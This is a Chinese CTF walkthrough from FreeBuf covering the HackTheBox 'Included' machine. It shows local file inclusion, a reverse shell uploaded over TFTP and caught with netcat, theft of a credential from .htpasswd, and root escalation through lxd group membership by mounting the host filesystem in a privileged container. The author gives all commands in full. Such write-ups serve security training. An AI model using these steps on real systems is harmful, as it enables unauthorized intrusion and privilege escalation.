freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

hackthebox-Included靶机wp
qsminggw 2024-02-21 10:34:05 136824

渗透阶段

老规矩,挂vpn开机用nmap扫描

sudo nmap -sC -sV 10.129.95.185
-sC #使用默认脚本
-sV	#探测服务版本信息

image

80端口开着,再看第一个问题,再扫一下udp端口

sudo nmap -sU 10.129.95.185
-sU #扫描udp

image

看扫描结果,第一题的答案是tftp

浏览器访问80端口,看样子是用到本地文件包含漏洞,第二题答案是Local File Inclusion

image

试一下读/etc/passwd,成功读到

image

第三题问题:TFTP 用于存储文件的默认系统文件夹是什么?

直接google,第三题的答案是/var/lib/tftpboot/

tftp默认是不需要身份验证的,可以直接利用tftp来上传一个shell,然后用文件包含漏洞来读取,这样就可以得到一个可以利用的shell

这里用的shell是这个项目:https://github.com/pentestmonkey/php-reverse-shell

修改文件中ip地址和端口为反弹的地址
image

连接tftp,上传shell

image

监听端口

nc -lvnp 1234

这里用目录穿越方式访问shell
image

shell成功反弹
image

运行命令获得交互式shell

script /dev/null -c bash

image

在/var/www/html路径下的.htpasswd得到mike的密码

image

第四题答案.htpasswd

切换到mike账号

su mike

image

得到user的flag

权限提升

查看mike权限,发现在lxd群组里,第五题答案是lxd

image

搜索lxd组用户的提权手段,本篇参考https://blog.csdn.net/YouthBelief/article/details/123548739

把alpine镜像git clone到本地,第六题答案就是alpine

git clone https://github.com/saghul/lxd-alpine-builder.git

执行build-alpine命令构建alpine镜像,需要root用户完成

cd lxd-alpine-builder
sudo ./build-alpine

image

构建完成后需要将tar文件发送至目标设备

python3 -m http.server 80

在shell中下载攻击机的alpine-v3.19-x86_64-20240212_1405.tar.gz文件,下载路径为/home/mike

wget http://你的ip/alpine-v3.19-x86_64-20240212_1405.tar.gz

image

导入镜像并初始化镜像

lxc image import ./alpine-v3.19-x86_64-20240212_1405.tar.gz --alias test
lxc init test test -c security.privileged=true

第七题答案就是security.privileged=true

image

挂载磁盘

lxc config device add test test disk source=/ path=/mnt/root recursive=true

第八题答案/mnt/root/

image

启动镜像并进入镜像访问root文件

lxc start test
lxc exec test /bin/sh
id
cd /mnt/root
ls
cd /root
cat proof.txt
cat root.txt

image

最后提交两个flag通关靶机

# HackTheBox
本文为 qsminggw 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
qsminggw LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者
文章目录